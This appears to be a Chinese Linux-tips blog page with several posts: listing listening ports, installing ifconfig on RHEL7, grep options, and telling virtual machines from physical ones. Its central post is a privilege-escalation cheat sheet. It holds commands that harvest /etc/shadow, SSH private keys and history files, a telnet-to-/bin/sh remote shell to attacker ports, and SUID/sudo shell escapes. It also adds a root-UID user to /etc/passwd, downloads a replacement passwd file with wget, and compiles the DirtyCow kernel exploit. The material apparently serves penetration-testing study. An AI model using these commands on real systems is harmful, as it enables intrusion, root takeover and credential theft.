欢迎光临
我们一直在努力

Linux技巧

几个命令轻松搞定linux的服务状态

阅读(209)评论(0)

验证哪些端口在服务器的网络接口上处于监听状态是非常重要的。通过开放端口的状态可以检测网络入侵、排除故障、确认服务器上的端口占用等情况。这篇快速教程会介绍使用 netstat 、 nmap 和 lsof 命令来检查端口使用信息并找出哪些程序正在使用这些端口。
如何检查 Linux 中的程序和监听的端口
1、 打开一个终端,如 shell 命令窗口。
2、 运行以下任意一行命令:

sudo lsof -i -P -n | grep LISTEN

sudo netstat -tulpn | grep LISTEN

sudo nmap -sTU -O IP地址

方式 1:lsof 命令

语法如下:

$ sudo lsof -i -P -n
$ sudo lsof -i -P -n | grep LISTEN
$ doas lsof -i -P -n | grep LISTEN  ### OpenBSD

输出如下:
自动草稿

仔细看上面输出的最后一行:

sshd    85379     root    3u  IPv4 0xffff80000039e000      0t0  TCP 10.86.128.138:22 (LISTEN)
sshd 是程序的名称
10.86.128.138 是 sshd 程序绑定 (LISTEN) 的 IP 地址
22 是被使用 (LISTEN) 的 TCP 端口
85379 是 sshd 任务的进程 ID (PID)
方式 2:netstat 命令

你可以如下面所示使用 netstat 来检查监听的端口和程序。

Linux 中 netstat 语法
$ netstat -tulpn | grep LISTEN
FreeBSD/MacOS X 中 netstat 语法
$ netstat -anp tcp | grep LISTEN
$ netstat -anp udp | grep LISTEN
OpenBSD 中 netstat 语法
$ netstat -na -f inet | grep LISTEN

$ netstat -nat | grep LISTEN
windows 中同样也可以使用这个命令:
netstat -bano | more

netstat -bano | grep LISTENING

netstat -bano | findstr /R /C:"[LISTING]"
方式 3:nmap 命令

语法如下:

$ sudo nmap -sT -O localhost

$ sudo nmap -sU -O 192.168.2.13 ### 列出打开的 UDP 端口

$ sudo nmap -sT -O 192.168.2.13 ### 列出打开的 TCP 端口

示例输出如下:

自动草稿

你可以用一句命令合并 TCP/UDP 扫描:

$ sudo nmap -sTU -O 192.168.2.13

RHEL7对于ifconfig命令问题的解决方法

阅读(166)评论(0)

ifconfig命令是设置或显示网络接口的程序,可以显示出我们机器的网卡信息,可是有些时候最小化安装Redhat等Linux发行版的时候会默认不安装ifconfig等命令,这时候你进入终端,运行ifconfig命令就会出错。

RHEL7对于ifconfig命令问题的解决方法

这是我们首先会想到是不是环境变量里没有ifconfig命令的路径,因为ifconfig是在/sbin路径下的,以root用户登录才可以运行,可是我们上边是以root用户登录的啊,不急,我们来看看root用户的环境变量

RHEL7对于ifconfig命令问题的解决方法

可以看到,我们的环境变量里有/sbin这个路径,也就是说如果ifconfig命令存在并且就是位于/sbin目录下的话我们肯定就是可以运行的,那么我们就看看/sbin目录下有没有ifconfig命令吧

RHEL7对于ifconfig命令问题的解决方法

结果表明我们的/sbin目录下并没有ifconfig命令,所以我们的结论是:我们的Redhat7里边是没有安装ifconfig

我们的解决办法是:yum安装ifconfig这个命令包

当然这不是在重点,重点是通过yum search,这个命令我们发现ifconfig这个命令是在net-tools.x86_64这个包里,接下来我们安装这个包就行了。

RHEL7对于ifconfig命令问题的解决方法

这是我们已经安装好ifconfig这个命令了,我们试一下。

操作命令:rpm -ivh net-tools-2.0-0.17.20131004git.el7.x86_64.rpm
或者:yum install net-tools  即可。

RHEL7对于ifconfig命令问题的解决方法

Linux grep命令使用教程详解

阅读(177)评论(0)

语法

grep 接选项 接查找字符 接文件。

选项精讲

  • 无选项
    查找包含查询字符串的行,不显示行号。命令:grep nologin a.txt
Linux grep命令使用教程详解
grep nologin a.txt
  • n:显示行号
    命令:grep -n nologin a.txt
Linux grep命令使用教程详解
grep -n nologin a.txt

建议大家都加上-n选项,这样看起来清楚多了。

  • c:统计字符串出现的行的数量
[root@localhost tmp]# grep -c nologin a.txt
2
  • i:不区分大小写
    意思就是如果我加了i选项,举个例子,‘ab’和‘aB’查到的结果是一样的。
  • v:取反
    意思是把没有包含关键词的行返回回来。
  • r:遍历目录
    这个有点厉害,能把目录下所有包含关键词的行全找到。
Linux grep命令使用教程详解
  • A 后面跟数字n
    过滤出满足要求的行,以及下面的n行:
Linux grep命令使用教程详解

加上A选项后,对比原来不加A选项的结果,第5759行和第5762行下面各输出了3行。

  • B 后面跟数字n
    过滤出满足要求的行,以及上面的n行。
  • C 后面跟数字n
    过滤出满足要求的行,以及上面和下面的n行。

Linux提权总结

阅读(310)评论(0)

提权概念

特权升级有两种类型:水平和垂直。在水平升级中,您从一个用户转移到 另一个用户。在这种情况下,两个用户都是通用的,而在垂直方式中,我们将特权从普通用户提升为管理员。

用户无法访问(读取/写入/执行)不允许访问的文件。但是,超级用户 (root)可以访问系统上存在的所有文件。 为了更改任何重要的配置或进行进一步的攻击,首先,我们需要在任何基于Linux的系统上获得root用户 访问权限

为什么我们需要执行特权升级?

  • 读/写任何敏感文件
  • 重新启动之间轻松保持
  • 插入永久后门

特权升级所使用的技术

我们假设现在我们在远程系统上有外壳。根据我们渗透进去的方式,我们可能没有“ root”特权。以下提到的技术可用于获取系统上的“ root”访问权限。

  • 内核漏洞
  • 以root身份运行的程序
  • 已安装的软件
  • 弱密码/重用密码/纯文本密码
  • 内部服务
  • Suid配置错误
  • 滥用sudo权利
  • 由root调用的可写脚本
  • 路径配置错误
  • Cronjobs
  • 卸载的文件系统

在提权前,我们需要收集主机信息,以确定成功提权的方式

提权前的信息收集

操作系统

发行类型 版本

bash
cat /etc/issue 
cat /etc/*-release  
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat

内核版本 32位还是64位

none
cat /proc/version
uname -a uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

查看环境变量 环境变量中可能存在密码或API密钥

bash
cat /etc/profile 
cat /etc/bashrc
cat ~/.bash_profile  
cat ~/.bashrc  
cat ~/.bash_logout  
env set

路径(Path) 如果对该变量内的任何文件夹都具有写权限,则可以劫持某些库或二进制

bash
文件:PATH 
echo $ PATH 

查看打印机有无

bash
lpstat -a 

应用与服务

哪些服务正在运行?

哪个服务具有哪个用户特权?

bash
ps aux
ps -ef top
cat /etc/services

root正在运行哪些服务?在这些易受攻击的服务中,值得仔细检查!

bash
ps aux | grep root ps -ef | grep root

安装了哪些应用程序?他们是什么版本的?他们目前在运行吗?

bash
ls -alh /usr/bin/ 
ls -alh /sbin/ 
dpkg -l 
rpm -qa 
ls -alh /var/cache/apt/archivesO 
ls -alh /var/cache/yum/

服务设置是否配置错误?是否附有(脆弱的)插件?

bash
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划了哪些工作?(计划任务)

bash
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有纯文本用户名和/或密码?

  • 检查Web服务器连接到数据库的文件(config.php或类似文件)
  • 检查数据库以获取可能被重用的管理员密码
  • 检查弱密码

bash
grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

通讯与网络

系统具有哪些NIC?它是否连接到另一个网络?

bash
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

查看网络配置设置,确定关于该网络的信息,DHCP服务器?DNS服务器?网关?

bash
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

其他哪些用户和主机正在与系统通信?

在这种情况下,用户正在运行某些只能从该主机获得的服务。我们无法从外部连接到服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行, 或者其中可能存在漏洞。

bash
# Linux 
netstat -anlp 
netstat -ano

bash
lsof -i
lsof -i :80 grep 80 /etc/services
netstat -antup 
netstat -antpx
netstat -tulpn
chkconfig --list chkconfig --list | grep 3:on
last
w

IP和/或MAC地址

bash
arp -e
route
/sbin/route -nee

数据包嗅探是否可能?可以看到什么?

bash
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]

我们有shell吗?

bash
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets sys

是否可以进行端口转发?重定向流量并与之交互

注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

bash
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意:ssh-[L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP]

bash
ssh -L 8080:127.0.0.1:80 root\@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root\@192.168.1.7 # Remote Port

注意:mknod backpipe p; nc -l -p [远程端口] backpipe

bash
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost

可以使用隧道吗?在本地远程发送命令

bash
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户

你是谁?谁登录?谁已经登录?那里还有谁?谁能做什么?

bash
id 
who 
w
last
cat /etc/passwd \| cut -d: -f1 \ # List of users
grep -v -E "^#" /etc/passwd |
cat /etc/sudoers
sudo -l

可以找到哪些敏感文件?

bash
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

home/root目录有什么”有用”的地方吗?如果可以访问

bash
ls -ahlR /root/
ls -ahlR /home/

里面有密码吗?脚本,数据库,配置文件还是日志文件?密码的默认路径和 位置

bash
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户正在做什么?是否有纯文本密码?他们在编辑什么?

bash
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

用户信息

bash
cat ~/.bashrc cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

私钥信息

bash
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

可以在/ etc /中写入哪些配置文件?能够重新配置服务?

bash
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null    # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null     # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null         # Other
find /etc/ -readable -type f 2>/dev/null             # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /中可以找到什么?

bash
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上是否有任何设置/文件(隐藏)?有数据库信息的任何设置文件吗?

bash
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中是否有任何内容(可以帮助”本地文件包含”)

bash
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/


Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, m

如果命令受到限制,获取交互shell

bash
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

是否存在安装文件系统?

bash
mount
df -h

是否有任何卸载的文件系统?

bash
cat /etc/fstab

“Linux文件权限”是什么?

bash
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

可以在哪里写入和执行?一些“常见”位置:/ tmp,/ var / tmp,/ dev / shm

bash
find  / -writable -type d 2>/dev/null     # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null  # world-writeable

任何”问题”文件吗?Word可写的”没人”文件

bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
find /dir -xdev \( -nouser -o -nogroup \) -print

准备和查找漏洞利用代码

安装/支持哪些开发工具/语言?

bash
find / -name perl\*
find / -name python\*
find / -name gcc\* find / -name cc

如何上传文件?

bash
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

系统是否已完全打补丁?

none
内核,操作系统,所有应用程序,其插件和Web服务

linux提权自动信息收集

枚举脚本

LinEnum

https://github.com/rebootuser/LinEnum

Unix特权

http://pentestmonkey.net/tools/audit/unix-privesc-check

运行脚本并将输出保存在文件中,然后使用grep发出警告。

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

通过利用Linux内核中的漏洞,有时我们可以提升特权。我们通常需要了解的操作系统, 体系结构和内核版本是测试内核利用是否可行的测试方法。

内核漏洞

内核漏洞利用程序是利用内核漏洞来执行具有更高权限的任意代码的程序。成功的内核利用通常以root命令提示符的形式为攻击者提供对目标系统的超级用户访问权限。在许多情况下,升级到Linux系统上的根目录就像将内核漏洞利用程序下载到目标文件系统,编译该漏洞利用程序然后执行它一样简单。

假设我们可以以非特权用户身份运行代码,这就是内核利用的通用工作流程。

none
诱使内核在内核模式下运行我们的有效负载

处理内核数据,例如进程特权

以新特权启动shell root!

考虑到要成功利用内核利用攻击,攻击者需要满足以下四个条件:

none
易受攻击的内核

匹配的漏洞利用程序

将漏洞利用程序转移到目标上的能力

在目标上执行漏洞利用程序的能力

抵御内核漏洞的最简单方法是保持内核的修补和更新。在没有补丁的情况下,管理员可以极大地影响在目标上转移和执行漏洞利用的能力。考虑到这些因素,如果管理员可以阻止将利用程序引入和/或执行到Linux文件系统上,则内核利用程序攻击将不再可行。因此,管理员应专注于限制或删除支持文件传输的程序,例如FTP,TFTP,SCP,wget和curl。当需要这些程序时,它们的使用应限于特定的用户,目录,应用程序(例如SCP) 和特定的IP地址或域。

内核信息收集

一些基本命令收集一些Linux内核信息

bash
uname -a #打印所有可用的系统信息
uname -m #Linux内核体系结构(32或64 位)
uname -r #内核发布
uname -n #要么 hostname 系统主机名
#内核信息
cat /proc/version
#发行信息
cat /etc/issue 
cat /etc/*-release
#CPU信息
cat /proc/cpuinfo 
#文件系统信息
df -a             
#列出可用的编译器
dpkg \--list 2>/dev/null\| grep compiler \|grep -v decompiler 2>/dev/null && yum list installed \'gcc\*\' 2>/dev/null\| grep gcc 2>/dev/null 

搜索漏洞

bash
site:exploit-db.com kernel version python linprivchecker.py extended

通过脏牛(CVE-2016-5195)利用易受攻击的机器

bash
$ whoami
$ uname -a 
给我们我们知道容易受到dirtycow攻击的内核版本>下载dirtycow漏洞
https://www.exploit-db.com/exploits/40839/
编译并执行。通过编辑/etc/passwd
它将" root"用户替换为新用户" rash"
#将当前登录用户更改为root用户的"rash"
$ su rash

其他内核提权

PoCs · dirtycow/dirtycow.github.io Wiki · GitHub

对于不同的内核和操作系统,可以公开获得许多不同的本地特权升级漏洞。是否可以使用内核利用漏洞在Linux主机上获得root访问权限,取决于内核是否易受攻击。Kali Linux具有exploit-db漏洞的本地副本,这使搜索本地根漏洞更加容易。我不建议在搜索Linux内核漏洞时完全依赖此数据库。

检查内核版本以及是否存在一些可用于提升特权的漏洞,我们可以在此处找到良好的易受攻击的内核列表以及一些已编译的漏洞利用程序:

https : //github.com/lucyoa/kernel-exploits和exploitdb sploits。

其他网站,可以找到一些编译漏洞:

https://github.com/bwbwbwbw/linux-exploit-binaries

https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

也可以直接在MSF中搜索

特别提醒

不要一开始就利用任何本地特权升级漏洞

如果可以避免,请不要使用内核漏洞利用。如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。

none
a.远程主机可能会崩溃,因为许多公开可用的根漏洞利用都不十分稳定。

b.您可能会成为root用户,然后使系统崩溃。

c.漏洞利用可能会留下痕迹/日志。

历史漏洞提权

CVE-2016-5195(DirtyCow)

Linux内核<= 3.19.0-73.8

bash
# make dirtycow stable
echo 0 \> /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

利用以root权限运行的服务

著名的EternalBlue和SambaCry漏洞利用了以root身份运行的smb服务。由于它的致命组合,它被广泛用于在全球范围内传播勒索软件。这里的手法是,如果特定服务以root用户身份运行,并且我们可以使该服务执行命令,则可以root用户身份执行命令。我们可以重点检查Web服务,邮件服务,数据库服务等是否以root用户身份运行。很多时候,运维都以root用户身份运行这些服务,而忽略了它可能引起的安全问题。可能有一些服务在本地运行,而没有公开暴露出来,但是也可以利用。

bash
#显示所有打开并正在监听的端口
netstat -antup
#列出哪些进程正在运行
ps aux
#列出以root身份运行的服务
ps -aux | grep root

NFS权限弱

如果您在linu服务器上具有低特权shell,并且发现服务器中具有NFS共享, 则可以使用它来升级特权。但是成功取决于它的配置方式。

什么是NFS?

网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储之一。

NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

root_sqaush和no_root_sqaush

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户” nfsnobody “,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用” root_squash “参数。

注意:要利用此,no_root_squash 选项得开启。

利用NFS并获取Root Shell

https://cloud.tencent.com/developer/article/1708369

Suid和Guid配置错误

描述

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文 件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping。

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。

以下是一些可用于产生SHELL的程序:

none
nmap
vim
less
more
nano
cp
mv
find

查找suid和guid文件

bash
#SUID
find / -perm -u=s -type f 2>/dev/null
#GUID
find / -perm -g=s -type f 2>/dev/null

其他命令

bash
#查找SUID文件
find / -perm -4000 -type f 2>/dev/null
#查找root拥有的SUID文件
find / -uid 0 -perm -4000 -type f 2>/dev/null
#查 找 SGID 文 件
find / -perm -2000 -type f 2>/dev/null
#查找可写文件,不包括proc 文件
find / ! -path "*/proc/*\" -perm -2 -type f -print 2>/dev/null
#查找rhost配置文件
find /home --name \*.rhosts -print 2>/dev/null
#查找hosts.equiv,列出权限并管理文件内容
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null; -exec cat {} 2>/dev/null ; 
#显示当前用户历史记录
cat \~/.bash_history 
#向当前用户分发各种历史文件
ls -la \~/.\*\_history
#检查当前用户的ssh文件
ls -la \~/.ssh/
#在/etc中列出配置文件
find /etc -maxdepth 1 -name \'\*.conf\' -type f
ls -la /etc/\*.conf 
#显示可能有趣的打开文件
lsof \| grep \'/home/\|/etc/\|/opt/' 
也可以使用 sudo -l 命令列出当前用户可执行的命令

常用提权方式

nmap

bash
#查找设置了SUID位的可执行文件
find / -perm -u = s -type f 2> / dev / null

bash
#让我们确认nmap是否设置了SUID位。
ls -la / usr / local / bin / nmap

Nmap的SUID位置,很多时候,管理员将SUID位设置为nmap,以便可以有效地扫描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。

但是,nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交 互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特 权运行,我们可以通过其交互模式访问'root'shell。

bash
#运行nmap交互模式
nmap --interactive 
#我们可以从nmap shell转到系统shell
!sh

msf中的模块为:

bash
exploit/unix/local/setuid_nmap

vi/vim

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

打开vim,按下ESC

bash
:set shell=/bin/sh
:shell

或者

bash
sudo vim -c '!sh'

bash

以下命令将以root身份打开一个bash shell。

bash
bash -p
bash-3.2
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(servi

less

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

bash
less /etc/passwd
!/bin/sh

more

none
more /home/pelle/myfile
!/bin/bash

cp

覆盖 /etc/shadow 或 /etc/passwd

bash
cat /etc/passwd >passwd
openssl passwd -1 -salt hack hack123
echo \'hack:\$1\$hack\$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
cp passwd /etc/passwd
su - hack
id

mv

覆盖 /etc/shadow 或 /etc/passwd

bash
cat /etc/passwd \>passwd
openssl passwd -1 -salt hack hack123
echo \'hack:\$1\$hack\$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:
mv passwd /etc/passwd
su - hack
id

nano

none
nano /etc/passwd

awk

none
awk 'BEGIN {system("/bin/sh")}'

man

none
man passwd
!/bin/bash

wget

none
wget http://192.168.56.1:8080/passwd -O /etc/passwd

apache

仅可查看文件,不能弹 shell

none
apache2 -f /etc/shadow

tcpdump

bash
echo \$\'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

python/perl/ruby/lua/php/etc

python

python
python -c "import os;os.system('/bin/bash')"

perl

perl
exec "/bin/bash";

滥用SUDO

在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo可以升级特权。

bash
/usr/bin/find
/usr/bin/nano
/usr/bin/vim
/usr/bin/man
/usr/bin/awk
/usr/bin/less
/usr/bin/nmap ( --interactive and --script method)
/bin/more
/usr/bin/wget
/usr/sbin/apache2

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

none
a.sudo能够限制用户只在某台主机上运行某些命令。

b.sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。

c.sudo使用时间戳文件来执行类似的"检票"系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。

d.sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。

在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的缺点之一在于必须要先告知超级用户的密码。

sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信 息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为”sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上

“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内

(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例如Ubuntu、Mac OS X等。

参数说明:

none
-V 显示版本编号

-h 会显示版本编号及指令的使用方式说明

-l 显示出自己(执行 sudo 的使用者)的权限

-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码

-k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)

-b 将要执行的指令放在背景执行

-p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称

-u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)

-s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell

-H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

Sudoer文件

sudoers文件主要有三部分组成:

  • sudoers的默认配置(default),主要设置sudo的一些缺省值
  • alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias
  • 安全策略(规则定义)

语法

b
root ALL=(ALL) ALL

root用户可以从 ALL 终端作为 ALL (任意)用户执行,并运行 ALL (任意)命令

第一部分是用户,第二部分是用户可以在其中使用 sudo 命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的命令。 sudo

bash
touhid ALL= /sbin/poweroff

以上命令,使用户可以从任何终端使用touhid的用户密码关闭命令电源。

bash
touhid ALL = (root) NOPASSWD: /usr/bin/find

上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find 而无需密码。

利用SUDO用户

要利用sudo用户,您需要找到您必须允许的命令。

none
sudo -l

上面的命令显示了允许当前用户使用的命令。

使用查找命令

none
sudo find / etc / passwd -exec / bin / sh \;
sudo find / bin -name nano -exec / bin / sh \;

使用Vim命令

none
sudo vim -c'!sh'

使用Nmap命令

none
sudo nmap-交互式
nmap>!sh
sh-4.1#

没有互动的最新方式

bash
echo“ os.execute('/ bin/ sh')”> /tmp/shell.nse && sudo nmap --script = / tmp / shell.nse

使用Man命令

bash
sudo man man

之后按!按下并按Enter

使用更少/更多命令

bash
sudo less / etc / hosts
sudo more / etc / hosts

之后按!按下并按Enter

使用awk命令

none
sudo awk'BEGIN {system(“ / bin / sh”)}'

docker组提权

http://www.openskill.cn/article/21

Linux 系统是运行在虚拟机上还是物理机上

阅读(409)评论(0)

除了本机开发以外,我们平时使用 Linux 大部分是通过 ssh 连接到远程服务器上的,比如系统部署、运维等工作。

Linux 系统是运行在虚拟机上还是物理机上

在当前虚拟化非常成熟的环境下,我们所部署的大部分系统都是运行在虚拟机中的。但是也有部分是在物理机上。那么,怎样区分我们的系统是运行在虚拟机上,还是物理机上呢?

下面我们来详细讨论下这个问题。

有几个命令可以用来区分系统运行环境是在虚拟机还是物理机。

1,使用 dmidecode 命令

区分虚拟机和物理机,最简单的方法是使用 dmidecode 命令。如下所示:

sudo dmidecode -s system-manufacturer

如果是物理机,你会看到机器制造商的名称,比如 Dell,Lenovo 等;

如果是虚拟机,你会看到一些类似于 QEMU, innotek Gmbh(for VirtualBox)等的输出信息。

dmidecode 命令用于查看计算机的 DMI 信息,该信息以人类可读的方式输出。

DMI 是桌面管理界面(Desktop Management Interface)的缩写,是几乎所有系统制造商都遵守的标准。DMI 框架用于管理和跟踪桌面、笔记本电脑或服务器计算机中的组件。

由于有了 DMI,我们可以获得有关系统硬件、系统制造商和设备序列号的信息,而使用 dmidecode(DMI Decode)命令,可以获取这些信息。另外,使用 -s system-manufacturer 也可获取制造商的详细信息。

如果系统环境是物理机,那么可以看到制造商的信息,比如:

